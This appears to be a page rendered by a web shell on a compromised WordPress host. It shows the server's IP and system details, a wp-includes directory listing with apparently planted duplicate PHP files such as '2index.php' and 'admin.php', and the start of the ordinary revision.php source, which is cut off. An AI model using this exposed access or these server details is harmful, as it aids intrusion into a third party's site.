Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284 >
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| ID3 | Directory | - | - | |
| IXR | Directory | - | - | |
| PHPMailer | Directory | - | - | |
| Requests | Directory | - | - | |
| SimplePie | Directory | - | - | |
| Text | Directory | - | - | |
| assets | Directory | - | - | |
| block-bindings | Directory | - | - | |
| block-patterns | Directory | - | - | |
| block-supports | Directory | - | - | |
| blocks | Directory | - | - | |
| certificates | Directory | - | - | |
| css | Directory | - | - | |
| customize | Directory | - | - | |
| fonts | Directory | - | - | |
| html-api | Directory | - | - | |
| images | Directory | - | - | |
| interactivity-api | Directory | - | - | |
| js | Directory | - | - | |
| l10n | Directory | - | - | |
| php-compat | Directory | - | - | |
| pomo | Directory | - | - | |
| rest-api | Directory | - | - | |
| sitemaps | Directory | - | - | |
| sodium_compat | Directory | - | - | |
| style-engine | Directory | - | - | |
| theme-compat | Directory | - | - | |
| widgets | Directory | - | - | |
| .htaccess | File | 2042 bytes | February 07 2026 02:49:06. | |
| 2index.php | File | 5361 bytes | November 13 2025 04:05:35. | |
| admin-bar.php | File | 38200 bytes | May 01 2025 00:24:22. | |
| admin.php | File | 5361 bytes | February 06 2026 03:17:44. | |
| atomlib.php | File | 13172 bytes | September 19 2024 06:50:16. | |
| author-template.php | File | 20045 bytes | May 15 2023 03:28:24. | |
| block-bindings.php | File | 6688 bytes | June 12 2024 22:14:14. | |
| block-editor.php | File | 29891 bytes | April 16 2025 05:29:33. | |
| block-i18n.json | File | 316 bytes | August 11 2021 18:38:02. | |
| block-patterns.php | File | 14307 bytes | April 16 2025 05:29:33. | |
| block-template-utils.php | File | 63001 bytes | April 16 2025 05:29:33. | |
| block-template.php | File | 16450 bytes | April 16 2025 05:29:33. | |
| blocks.php | File | 114145 bytes | July 16 2025 00:22:38. | |
| bookmark-template.php | File | 13862 bytes | April 16 2025 05:29:31. | |
| bookmark.php | File | 16521 bytes | March 23 2024 23:50:12. | |
| cache-compat.php | File | 7063 bytes | October 11 2022 03:52:12. | |
| cache.php | File | 14568 bytes | October 11 2022 03:52:12. | |
| canonical.php | File | 35617 bytes | August 23 2024 09:17:16. | |
| capabilities.php | File | 43812 bytes | October 15 2024 23:43:20. | |
| category-template.php | File | 58097 bytes | September 26 2023 09:57:12. | |
| category.php | File | 13923 bytes | April 16 2025 05:29:33. | |
| class-IXR.php | File | 3711 bytes | April 16 2025 05:29:33. | |
| class-avif-info.php | File | 30709 bytes | April 27 2024 00:32:14. | |
| class-feed.php | File | 539 bytes | October 01 2024 08:20:20. | |
| class-http.php | File | 367 bytes | June 17 2022 20:50:14. | |
| class-json.php | File | 43684 bytes | February 04 2023 00:05:20. | |
| class-oembed.php | File | 401 bytes | June 17 2022 20:50:14. | |
| class-phpass.php | File | 7865 bytes | September 18 2024 06:38:16. | |
| class-phpmailer.php | File | 664 bytes | July 21 2020 22:28:02. | |
| class-pop3.php | File | 22215 bytes | April 16 2025 05:29:34. | |
| class-requests.php | File | 3331 bytes | April 05 2023 22:42:26. | |
| class-simplepie.php | File | 1547 bytes | October 01 2024 08:20:20. | |
| class-smtp.php | File | 457 bytes | January 27 2021 00:15:58. | |
| class-snoopy.php | File | 37715 bytes | February 04 2023 00:05:20. | |
| class-walker-category-dropdown.php | File | 3563 bytes | September 14 2023 22:16:20. | |
| class-walker-category.php | File | 9571 bytes | September 08 2023 19:02:24. | |
| class-walker-comment.php | File | 15315 bytes | March 19 2024 01:16:14. | |
| class-walker-nav-menu.php | File | 13138 bytes | April 16 2025 05:29:36. | |
| class-walker-page-dropdown.php | File | 3804 bytes | September 14 2023 22:16:20. | |
| class-walker-page.php | File | 8706 bytes | September 14 2023 22:16:20. | |
| class-wp-admin-bar.php | File | 18968 bytes | July 18 2024 10:22:18. | |
| class-wp-ajax-response.php | File | 6360 bytes | September 13 2022 01:17:14. | |
| class-wp-application-passwords.php | File | 18193 bytes | April 16 2025 05:29:34. | |
| class-wp-block-bindings-registry.php | File | 9557 bytes | September 23 2024 22:05:16. | |
| class-wp-block-bindings-source.php | File | 4086 bytes | September 04 2024 02:03:16. | |
| class-wp-block-editor-context.php | File | 2444 bytes | September 13 2022 01:17:14. | |
| class-wp-block-list.php | File | 5851 bytes | November 02 2023 09:34:24. | |
| class-wp-block-metadata-registry.php | File | 12989 bytes | April 16 2025 05:29:33. | |
| class-wp-block-parser-block.php | File | 3649 bytes | June 27 2023 10:15:38. | |
| class-wp-block-parser-frame.php | File | 3111 bytes | September 20 2024 11:25:36. | |
| class-wp-block-parser.php | File | 12626 bytes | May 03 2024 05:39:16. | |
| class-wp-block-pattern-categories-registry.php | File | 6465 bytes | September 13 2022 01:17:14. | |
| class-wp-block-patterns-registry.php | File | 11877 bytes | September 27 2024 18:50:18. | |
| class-wp-block-styles-registry.php | File | 7497 bytes | April 16 2025 05:29:34. | |
| class-wp-block-supports.php | File | 6720 bytes | April 16 2025 05:29:33. | |
| class-wp-block-template.php | File | 3127 bytes | September 20 2024 11:37:12. | |
| class-wp-block-templates-registry.php | File | 8325 bytes | February 12 2025 00:35:26. | |
| class-wp-block-type-registry.php | File | 6107 bytes | October 12 2023 22:04:34. | |
| class-wp-block-type.php | File | 18359 bytes | May 02 2024 09:31:10. | |
| class-wp-block.php | File | 24135 bytes | April 16 2025 05:29:36. | |
| class-wp-classic-to-block-menu-converter.php | File | 5182 bytes | August 22 2023 03:21:20. | |
| class-wp-comment-query.php | File | 49489 bytes | June 22 2024 02:56:14. | |
| class-wp-comment.php | File | 10531 bytes | April 16 2025 05:29:36. | |
| class-wp-customize-control.php | File | 26945 bytes | April 16 2025 05:29:33. | |
| class-wp-customize-manager.php | File | 203687 bytes | April 16 2025 05:29:34. | |
| class-wp-customize-nav-menus.php | File | 58754 bytes | October 01 2025 00:40:57. | |
| class-wp-customize-panel.php | File | 11804 bytes | April 16 2025 05:29:33. | |
| class-wp-customize-section.php | File | 12303 bytes | October 14 2024 04:39:12. | |
| class-wp-customize-setting.php | File | 31056 bytes | April 16 2025 05:29:34. | |
| class-wp-customize-widgets.php | File | 73304 bytes | April 16 2025 05:29:33. | |
| class-wp-date-query.php | File | 36826 bytes | April 16 2025 05:29:33. | |
| class-wp-dependencies.php | File | 16233 bytes | August 26 2024 09:18:14. | |
| class-wp-dependency.php | File | 3721 bytes | November 26 2022 01:42:16. | |
| class-wp-duotone.php | File | 41877 bytes | June 14 2024 21:48:12. | |
| class-wp-editor.php | File | 73429 bytes | May 01 2025 00:24:22. | |
| class-wp-embed.php | File | 17025 bytes | April 16 2025 05:29:34. | |
| class-wp-error.php | File | 8596 bytes | February 22 2023 03:09:20. | |
| class-wp-exception.php | File | 1347 bytes | September 28 2024 04:58:14. | |
| class-wp-fatal-error-handler.php | File | 9244 bytes | October 22 2024 19:46:16. | |
| class-wp-feed-cache-transient.php | File | 4270 bytes | October 01 2024 08:20:20. | |
| class-wp-feed-cache.php | File | 969 bytes | October 01 2024 08:20:20. | |
| class-wp-hook.php | File | 17094 bytes | September 18 2023 22:11:18. | |
| class-wp-http-cookie.php | File | 8483 bytes | June 25 2023 02:47:24. | |
| class-wp-http-curl.php | File | 13635 bytes | September 22 2023 03:59:12. | |
| class-wp-http-encoding.php | File | 7783 bytes | June 23 2023 00:27:24. | |
| class-wp-http-ixr-client.php | File | 4595 bytes | September 13 2022 01:17:14. | |
| class-wp-http-proxy.php | File | 7074 bytes | June 23 2023 00:06:26. | |
| class-wp-http-requests-hooks.php | File | 3116 bytes | December 16 2022 08:02:18. | |
| class-wp-http-requests-response.php | File | 5494 bytes | October 11 2023 16:35:26. | |
| class-wp-http-response.php | File | 4071 bytes | September 13 2022 01:17:14. | |
| class-wp-http-streams.php | File | 16859 bytes | September 22 2023 03:59:12. | |
| class-wp-http.php | File | 42673 bytes | April 16 2025 05:29:33. | |
| class-wp-image-editor-gd.php | File | 21256 bytes | April 16 2025 05:29:34. | |
| class-wp-image-editor-imagick.php | File | 35829 bytes | April 16 2025 05:29:34. | |
| class-wp-image-editor.php | File | 18621 bytes | April 16 2025 05:29:34. | |
| class-wp-list-util.php | File | 8537 bytes | February 28 2024 09:08:16. | |
| class-wp-locale-switcher.php | File | 7870 bytes | April 16 2025 05:29:33. | |
| class-wp-locale.php | File | 17977 bytes | April 16 2025 05:29:36. | |
| class-wp-matchesmapregex.php | File | 2922 bytes | February 06 2024 11:55:14. | |
| class-wp-meta-query.php | File | 31625 bytes | April 23 2024 05:55:08. | |
| class-wp-metadata-lazyloader.php | File | 7927 bytes | May 11 2023 20:45:24. | |
| class-wp-navigation-fallback.php | File | 10305 bytes | October 06 2023 23:36:22. | |
| class-wp-network-query.php | File | 20951 bytes | June 22 2024 02:56:14. | |
| class-wp-network.php | File | 13390 bytes | September 14 2024 07:42:16. | |
| class-wp-object-cache.php | File | 18618 bytes | September 19 2024 21:42:16. | |
| class-wp-oembed-controller.php | File | 7999 bytes | March 06 2024 15:35:12. | |
| class-wp-oembed.php | File | 32700 bytes | July 16 2025 00:22:38. | |
| class-wp-paused-extensions-storage.php | File | 6205 bytes | September 04 2024 03:49:14. | |
| class-wp-phpmailer.php | File | 4896 bytes | April 16 2025 05:29:33. | |
| class-wp-plugin-dependencies.php | File | 26409 bytes | April 16 2025 05:29:36. | |
| class-wp-post-type.php | File | 31774 bytes | April 16 2025 05:29:34. | |
| class-wp-post.php | File | 7582 bytes | April 16 2025 05:29:33. | |
| class-wp-query.php | File | 159117 bytes | April 16 2025 05:29:36. | |
| class-wp-recovery-mode-cookie-service.php | File | 7971 bytes | October 04 2022 13:29:14. | |
| class-wp-recovery-mode-email-service.php | File | 12277 bytes | May 03 2023 01:15:22. | |
| class-wp-recovery-mode-key-service.php | File | 5978 bytes | April 16 2025 05:29:32. | |
| class-wp-recovery-mode-link-service.php | File | 4557 bytes | September 13 2022 01:17:14. | |
| class-wp-recovery-mode.php | File | 12547 bytes | April 16 2025 05:29:33. | |
| class-wp-rewrite.php | File | 64782 bytes | October 20 2024 09:24:18. | |
| class-wp-role.php | File | 3617 bytes | September 08 2023 19:02:24. | |
| class-wp-roles.php | File | 9680 bytes | September 04 2024 03:49:14. | |
| class-wp-script-modules.php | File | 20557 bytes | April 16 2025 05:29:36. | |
| class-wp-scripts.php | File | 29438 bytes | August 11 2024 08:30:14. | |
| class-wp-session-tokens.php | File | 8413 bytes | April 16 2025 05:29:31. | |
| class-wp-simplepie-file.php | File | 4502 bytes | October 01 2024 08:20:20. | |
| class-wp-simplepie-sanitize-kses.php | File | 3004 bytes | April 16 2025 05:29:33. | |
| class-wp-site-query.php | File | 32719 bytes | September 11 2024 21:38:20. | |
| class-wp-site.php | File | 8548 bytes | September 13 2022 01:17:14. | |
| class-wp-speculation-rules.php | File | 8621 bytes | April 16 2025 05:29:33. | |
| class-wp-styles.php | File | 12104 bytes | August 11 2024 08:30:14. | |
| class-wp-tax-query.php | File | 20649 bytes | February 17 2024 08:17:12. | |
| class-wp-taxonomy.php | File | 19653 bytes | April 16 2025 05:29:34. | |
| class-wp-term-query.php | File | 41963 bytes | November 06 2024 00:54:16. | |
| class-wp-term.php | File | 6392 bytes | September 13 2022 01:17:14. | |
| class-wp-text-diff-renderer-inline.php | File | 2073 bytes | February 15 2024 05:57:10. | |
| class-wp-text-diff-renderer-table.php | File | 19974 bytes | April 16 2025 05:29:33. | |
| class-wp-textdomain-registry.php | File | 11575 bytes | November 21 2024 00:05:16. | |
| class-wp-theme-json-data.php | File | 2903 bytes | June 04 2024 21:25:14. | |
| class-wp-theme-json-resolver.php | File | 36832 bytes | April 16 2025 05:29:33. | |
| class-wp-theme-json-schema.php | File | 8461 bytes | June 06 2024 17:32:16. | |
| class-wp-theme-json.php | File | 164639 bytes | April 16 2025 05:29:34. | |
| class-wp-theme.php | File | 66904 bytes | April 16 2025 05:29:34. | |
| class-wp-token-map.php | File | 29712 bytes | July 20 2024 09:14:16. | |
| class-wp-url-pattern-prefixer.php | File | 5896 bytes | April 16 2025 05:29:34. | |
| class-wp-user-meta-session-tokens.php | File | 4084 bytes | January 09 2019 15:34:50. | |
| class-wp-user-query.php | File | 44749 bytes | April 16 2025 05:29:33. | |
| class-wp-user-request.php | File | 3399 bytes | April 16 2025 05:29:36. | |
| class-wp-user.php | File | 24088 bytes | April 16 2025 05:29:33. | |
| class-wp-walker.php | File | 14416 bytes | July 26 2024 17:26:14. | |
| class-wp-widget-factory.php | File | 4441 bytes | September 13 2022 01:17:14. | |
| class-wp-widget.php | File | 19523 bytes | April 16 2025 05:29:34. | |
| class-wp-xmlrpc-server.php | File | 216538 bytes | April 16 2025 05:29:33. | |
| class-wp.php | File | 30421 bytes | April 16 2025 05:29:32. | |
| class-wpdb.php | File | 118284 bytes | April 16 2025 05:29:31. | |
| class.wp-dependencies.php | File | 373 bytes | September 20 2022 23:47:12. | |
| class.wp-scripts.php | File | 343 bytes | September 20 2022 23:47:12. | |
| class.wp-styles.php | File | 338 bytes | September 20 2022 23:47:12. | |
| comment-template.php | File | 104198 bytes | July 16 2025 00:22:38. | |
| comment.php | File | 132641 bytes | April 16 2025 05:29:34. | |
| compat.php | File | 17470 bytes | April 16 2025 05:29:36. | |
| cron.php | File | 43752 bytes | April 16 2025 05:29:34. | |
| date.php | File | 400 bytes | June 17 2022 20:50:14. | |
| default-constants.php | File | 12459 bytes | October 01 2024 09:28:16. | |
| default-filters.php | File | 37791 bytes | April 16 2025 05:29:36. | |
| default-widgets.php | File | 3389 bytes | April 16 2025 05:29:31. | |
| deprecated.php | File | 192658 bytes | April 16 2025 05:29:33. | |
| embed-template.php | File | 338 bytes | June 17 2022 20:50:14. | |
| embed.php | File | 39266 bytes | April 16 2025 05:29:34. | |
| error-protection.php | File | 5215 bytes | May 03 2023 01:15:22. | |
| feed-atom-comments.php | File | 6583 bytes | March 04 2024 23:11:10. | |
| feed-atom.php | File | 4200 bytes | April 16 2025 05:29:33. | |
| feed-rdf.php | File | 3747 bytes | January 29 2020 11:15:18. | |
| feed-rss.php | File | 2268 bytes | January 29 2020 11:15:18. | |
| feed-rss2-comments.php | File | 5215 bytes | March 04 2024 23:11:10. | |
| feed-rss2.php | File | 4878 bytes | January 29 2020 11:15:18. | |
| feed.php | File | 24505 bytes | November 12 2024 04:25:14. | |
| fonts.php | File | 10845 bytes | October 28 2024 07:27:10. | |
| formatting.php | File | 344015 bytes | July 16 2025 00:22:38. | |
| functions.php | File | 291649 bytes | April 16 2025 05:29:33. | |
| functions.wp-scripts.php | File | 15652 bytes | May 27 2024 06:21:14. | |
| functions.wp-styles.php | File | 9677 bytes | May 27 2024 06:21:14. | |
| general-template.php | File | 173592 bytes | April 16 2025 05:29:32. | |
| global-styles-and-settings.php | File | 22355 bytes | April 16 2025 05:29:34. | |
| http.php | File | 26406 bytes | October 28 2024 07:49:16. | |
| https-detection.php | File | 6951 bytes | April 16 2025 05:29:34. | |
| https-migration.php | File | 5835 bytes | July 11 2023 08:08:26. | |
| index.htm | File | 1104 bytes | January 26 2026 05:14:06. | |
| index.html | File | 1104 bytes | January 26 2026 05:14:06. | |
| kses.php | File | 75566 bytes | April 16 2025 05:29:36. | |
| l10n.php | File | 69624 bytes | April 16 2025 05:29:36. | |
| link-template.php | File | 157801 bytes | April 16 2025 05:29:34. | |
| load.php | File | 56440 bytes | April 16 2025 05:29:34. | |
| locale.php | File | 162 bytes | October 09 2019 02:49:04. | |
| media-template.php | File | 64154 bytes | April 16 2025 05:29:34. | |
| media.php | File | 221590 bytes | July 16 2025 00:22:38. | |
| meta.php | File | 66337 bytes | April 16 2025 05:29:34. | |
| ms-blogs.php | File | 26939 bytes | April 16 2025 05:29:34. | |
| ms-default-constants.php | File | 6015 bytes | June 14 2024 06:20:14. | |
| ms-default-filters.php | File | 7730 bytes | February 24 2023 11:53:20. | |
| ms-deprecated.php | File | 22853 bytes | April 13 2024 03:17:14. | |
| ms-files.php | File | 3838 bytes | May 01 2025 00:24:22. | |
| ms-functions.php | File | 92676 bytes | April 16 2025 05:29:33. | |
| ms-load.php | File | 20977 bytes | March 26 2024 02:49:18. | |
| ms-network.php | File | 4876 bytes | May 02 2023 20:56:24. | |
| ms-settings.php | File | 5291 bytes | April 16 2025 05:29:33. | |
| ms-site.php | File | 42414 bytes | April 16 2025 05:29:34. | |
| nav-menu-template.php | File | 27084 bytes | April 16 2025 05:29:36. | |
| nav-menu.php | File | 45467 bytes | August 06 2024 04:30:20. | |
| option.php | File | 104159 bytes | April 16 2025 05:29:33. | |
| pluggable-deprecated.php | File | 7418 bytes | April 16 2025 05:29:33. | |
| pluggable.php | File | 123794 bytes | April 16 2025 05:29:36. | |
| plugin.php | File | 35465 bytes | June 08 2023 17:24:22. | |
| post-formats.php | File | 8196 bytes | May 28 2024 01:59:16. | |
| post-template.php | File | 69742 bytes | April 16 2025 05:29:33. | |
| post-thumbnail-template.php | File | 11973 bytes | April 16 2025 05:29:33. | |
| post.php | File | 292806 bytes | April 16 2025 05:29:33. | |
| query.php | File | 38129 bytes | August 24 2023 18:31:16. | |
| registration-functions.php | File | 200 bytes | November 12 2020 21:47:08. | |
| registration.php | File | 200 bytes | November 12 2020 21:47:08. | |
| rest-api.php | File | 101351 bytes | April 16 2025 05:29:34. | |
| revision.php | File | 31835 bytes | April 16 2025 05:29:36. | |
| rewrite.php | File | 20635 bytes | September 19 2024 04:38:12. | |
| robots-template.php | File | 6279 bytes | April 07 2022 01:03:04. | |
| rss-functions.php | File | 255 bytes | November 17 2020 09:22:06. | |
| rss.php | File | 23113 bytes | September 19 2024 07:10:12. | |
| script-loader.php | File | 134356 bytes | May 01 2025 00:24:22. | |
| script-modules.php | File | 8806 bytes | October 14 2024 04:19:16. | |
| session.php | File | 258 bytes | February 06 2020 17:03:12. | |
| shortcodes.php | File | 25145 bytes | May 25 2024 12:34:12. | |
| sitemaps.php | File | 4332 bytes | May 16 2021 03:08:06. | |
| speculative-loading.php | File | 9652 bytes | April 16 2025 05:29:34. | |
| spl-autoload-compat.php | File | 441 bytes | November 12 2020 21:47:08. | |
| style-engine.php | File | 8657 bytes | May 03 2024 14:17:12. | |
| taxonomy.php | File | 177321 bytes | April 16 2025 05:29:33. | |
| template-canvas.php | File | 1623 bytes | October 01 2023 09:52:28. | |
| template-loader.php | File | 7130 bytes | May 26 2020 19:07:10. | |
| template.php | File | 25248 bytes | February 22 2024 05:56:08. | |
| theme-i18n.json | File | 1526 bytes | April 16 2025 05:29:34. | |
| theme-previews.php | File | 3926 bytes | December 08 2023 17:02:24. | |
| theme-templates.php | File | 7332 bytes | April 16 2025 05:29:33. | |
| theme.json | File | 8704 bytes | June 12 2024 15:41:14. | |
| theme.php | File | 135397 bytes | April 16 2025 05:29:33. | |
| update.php | File | 38597 bytes | April 16 2025 05:29:36. | |
| user.php | File | 176917 bytes | April 16 2025 05:29:36. | |
| vars.php | File | 7656 bytes | April 16 2025 05:29:34. | |
| version.php | File | 2184 bytes | October 01 2025 00:40:57. | |
| widgets.php | File | 71813 bytes | April 16 2025 05:29:34. | |
| wp-db.php | File | 445 bytes | July 22 2022 08:15:12. | |
| wp-diff.php | File | 1893 bytes | April 16 2025 05:29:33. |
<?php
/**
* Post revision functions.
*
* @package WordPress
* @subpackage Post_Revisions
*/
/**
* Determines which fields of posts are to be saved in revisions.
*
* @since 2.6.0
* @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
* @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
* @access private
*
* @param array|WP_Post $post Optional. A post array or a WP_Post object being processed
* for insertion as a post revision. Default empty array.
* @param bool $deprecated Not used.
* @return string[] Array of fields that can be versioned.
*/
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
static $fields = null;
if ( ! is_array( $post ) ) {
$post = get_post( $post, ARRAY_A );
}
if ( is_null( $fields ) ) {
// Allow these to be versioned.
$fields = array(
'post_title' => __( 'Title' ),
'post_content' => __( 'Content' ),
'post_excerpt' => __( 'Excerpt' ),
);
}
/**
* Filters the list of fields saved in post revisions.
*
* Included by default: 'post_title', 'post_content' and 'post_excerpt'.
*
* Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
* 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
* and 'post_author'.
*
* @since 2.6.0
* @since 4.5.0 The `$post` parameter was added.
*
* @param string[] $fields List of fields to revision. Contains 'post_title',
* 'post_content', and 'post_excerpt' by default.
* @param array $post A post array being processed for insertion as a post revision.
*/
$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );
// WP uses these internally either in versioning or elsewhere - they cannot be versioned.
foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
unset( $fields[ $protect ] );
}
return $fields;
}
/**
* Returns a post array ready to be inserted into the posts table as a post revision.
*
* @since 4.5.0
* @access private
*
* @param array|WP_Post $post Optional. A post array or a WP_Post object to be processed
* for insertion as a post revision. Default empty array.
* @param bool $autosave Optional. Is the revision an autosave? Default false.
* @return array Post array ready to be inserted as a post revision.
*/
function _wp_post_revision_data( $post = array(), $autosave = false ) {
if ( ! is_array( $post ) ) {
$post = get_post( $post, ARRAY_A );
}
$fields = _wp_post_revision_fields( $post );
$revision_data = array();
foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
$revision_data[ $field ] = $post[ $field ];
}
$revision_data['post_parent'] = $post['ID'];
$revision_data['post_status'] = 'inherit';
$revision_data['post_type'] = 'revision';
$revision_data['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version.
$revision_data['post_date'] = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';
return $revision_data;
}
/**
* Saves revisions for a post after all changes have been made.
*
* @since 6.4.0
*
* @param int $post_id The post id that was inserted.
* @param WP_Post $post The post object that was inserted.
* @param bool $update Whether this insert is updating an existing post.
*/
function wp_save_post_revision_on_insert( $post_id, $post, $update ) {
if ( ! $update ) {
return;
}
if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) {
return;
}
wp_save_post_revision( $post_id );
}
/**
* Creates a revision for the current version of a post.
*
* Typically used immediately after a post update, as every update is a revision,
* and the most recent revision always matches the current post.
*
* @since 2.6.0
*
* @param int $post_id The ID of the post to save as a revision.
* @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
*/
function wp_save_post_revision( $post_id ) {
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
return;
}
// Prevent saving post revisions if revisions should be saved on wp_after_insert_post.
if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) {
return;
}
$post = get_post( $post_id );
if ( ! $post ) {
return;
}
if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
return;
}
if ( 'auto-draft' === $post->post_status ) {
return;
}
if ( ! wp_revisions_enabled( $post ) ) {
return;
}
/*
* Compare the proposed update with the last stored revision verifying that
* they are different, unless a plugin tells us to always save regardless.
* If no previous revisions, save one.
*/
$revisions = wp_get_post_revisions( $post_id );
if ( $revisions ) {
// Grab the latest revision, but not an autosave.
foreach ( $revisions as $revision ) {
if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
$latest_revision = $revision;
break;
}
}
/**
* Filters whether the post has changed since the latest revision.
*
* By default a revision is saved only if one of the revisioned fields has changed.
* This filter can override that so a revision is saved even if nothing has changed.
*
* @since 3.6.0
*
* @param bool $check_for_changes Whether to check for changes before saving a new revision.
* Default true.
* @param WP_Post $latest_revision The latest revision post object.
* @param WP_Post $post The post object.
*/
if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) {
$post_has_changed = false;
foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) {
$post_has_changed = true;
break;
}
}
/**
* Filters whether a post has changed.
*
* By default a revision is saved only if one of the revisioned fields has changed.
* This filter allows for additional checks to determine if there were changes.
*
* @since 4.1.0
*
* @param bool $post_has_changed Whether the post has changed.
* @param WP_Post $latest_revision The latest revision post object.
* @param WP_Post $post The post object.
*/
$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post );
// Don't save revision if post unchanged.
if ( ! $post_has_changed ) {
return;
}
}
}
$return = _wp_put_post_revision( $post );
/*
* If a limit for the number of revisions to keep has been set,
* delete the oldest ones.
*/
$revisions_to_keep = wp_revisions_to_keep( $post );
if ( $revisions_to_keep < 0 ) {
return $return;
}
$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );
/**
* Filters the revisions to be considered for deletion.
*
* @since 6.2.0
*
* @param WP_Post[] $revisions Array of revisions, or an empty array if none.
* @param int $post_id The ID of the post to save as a revision.
*/
$revisions = apply_filters(
'wp_save_post_revision_revisions_before_deletion',
$revisions,
$post_id
);
$delete = count( $revisions ) - $revisions_to_keep;
if ( $delete < 1 ) {
return $return;
}
$revisions = array_slice( $revisions, 0, $delete );
for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) {
continue;
}
wp_delete_post_revision( $revisions[ $i ]->ID );
}
return $return;
}
/**
* Retrieves the autosaved data of the specified post.
*
* Returns a post object with the information that was autosaved for the specified post.
* If the optional $user_id is passed, returns the autosave for that user, otherwise
* returns the latest autosave.
*
* @since 2.6.0
*
* @param int $post_id The post ID.
* @param int $user_id Optional. The post author ID. Default 0.
* @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
*/
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
$args = array(
'post_type' => 'revision',
'post_status' => 'inherit',
'post_parent' => $post_id,
'name' => $post_id . '-autosave-v1',
'posts_per_page' => 1,
'orderby' => 'date',
'order' => 'DESC',
'fields' => 'ids',
'no_found_rows' => true,
);
if ( 0 !== $user_id ) {
$args['author'] = $user_id;
}
$query = new WP_Query( $args );
if ( ! $query->have_posts() ) {
return false;
}
return get_post( $query->posts[0] );
}
/**
* Determines if the specified post is a revision.
*
* @since 2.6.0
*
* @param int|WP_Post $post Post ID or post object.
* @return int|false ID of revision's parent on success, false if not a revision.
*/
function wp_is_post_revision( $post ) {
$post = wp_get_post_revision( $post );
if ( ! $post ) {
return false;
}
return (int) $post->post_parent;
}
/**
* Determines if the specified post is an autosave.
*
* @since 2.6.0
*
* @param int|WP_Post $post Post ID or post object.
* @return int|false ID of autosave's parent on success, false if not a revision.
*/
function wp_is_post_autosave( $post ) {
$post = wp_get_post_revision( $post );
if ( ! $post ) {
return false;
}
if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) {
return (int) $post->post_parent;
}
return false;
}
/**
* Inserts post data into the posts table as a post revision.
*
* @since 2.6.0
* @access private
*
* @param int|WP_Post|array|null $post Post ID, post object OR post array.
* @param bool $autosave Optional. Whether the revision is an autosave or not.
* Default false.
* @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
*/
function _wp_put_post_revision( $post = null, $autosave = false ) {
if ( is_object( $post ) ) {
$post = get_object_vars( $post );
} elseif ( ! is_array( $post ) ) {
$post = get_post( $post, ARRAY_A );
}
if ( ! $post || empty( $post['ID'] ) ) {
return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
}
if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
}
$post = _wp_post_revision_data( $post, $autosave );
$post = wp_slash( $post ); // Since data is from DB.
$revision_id = wp_insert_post( $post, true );
if ( is_wp_error( $revision_id ) ) {
return $revision_id;
}
if ( $revision_id ) {
/**
* Fires once a revision has been saved.
*
* @since 2.6.0
* @since 6.4.0 The post_id parameter was added.
*
* @param int $revision_id Post revision ID.
* @param int $post_id Post ID.
*/
do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] );
}
return $revision_id;
}
/**
* Save the revisioned meta fields.
*
* @since 6.4.0
*
* @param int $revision_id The ID of the revision to save the meta to.
* @param int $post_id The ID of the post the revision is associated with.
*/
function wp_save_revisioned_meta_fields( $revision_id, $post_id ) {
$post_type = get_post_type( $post_id );
if ( ! $post_type ) {
return;
}
foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
if ( metadata_exists( 'post', $post_id, $meta_key ) ) {
_wp_copy_post_meta( $post_id, $revision_id, $meta_key );
}
}
}
/**
* Gets a post revision.
*
* @since 2.6.0
*
* @param int|WP_Post $post Post ID or post object.
* @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
* correspond to a WP_Post object, an associative array, or a numeric array,
* respectively. Default OBJECT.
* @param string $filter Optional sanitization filter. See sanitize_post(). Default 'raw'.
* @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
*/
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
$revision = get_post( $post, OBJECT, $filter );
if ( ! $revision ) {
return $revision;
}
if ( 'revision' !== $revision->post_type ) {
return null;
}
if ( OBJECT === $output ) {
return $revision;
} elseif ( ARRAY_A === $output ) {
$_revision = get_object_vars( $revision );
return $_revision;
} elseif ( ARRAY_N === $output ) {
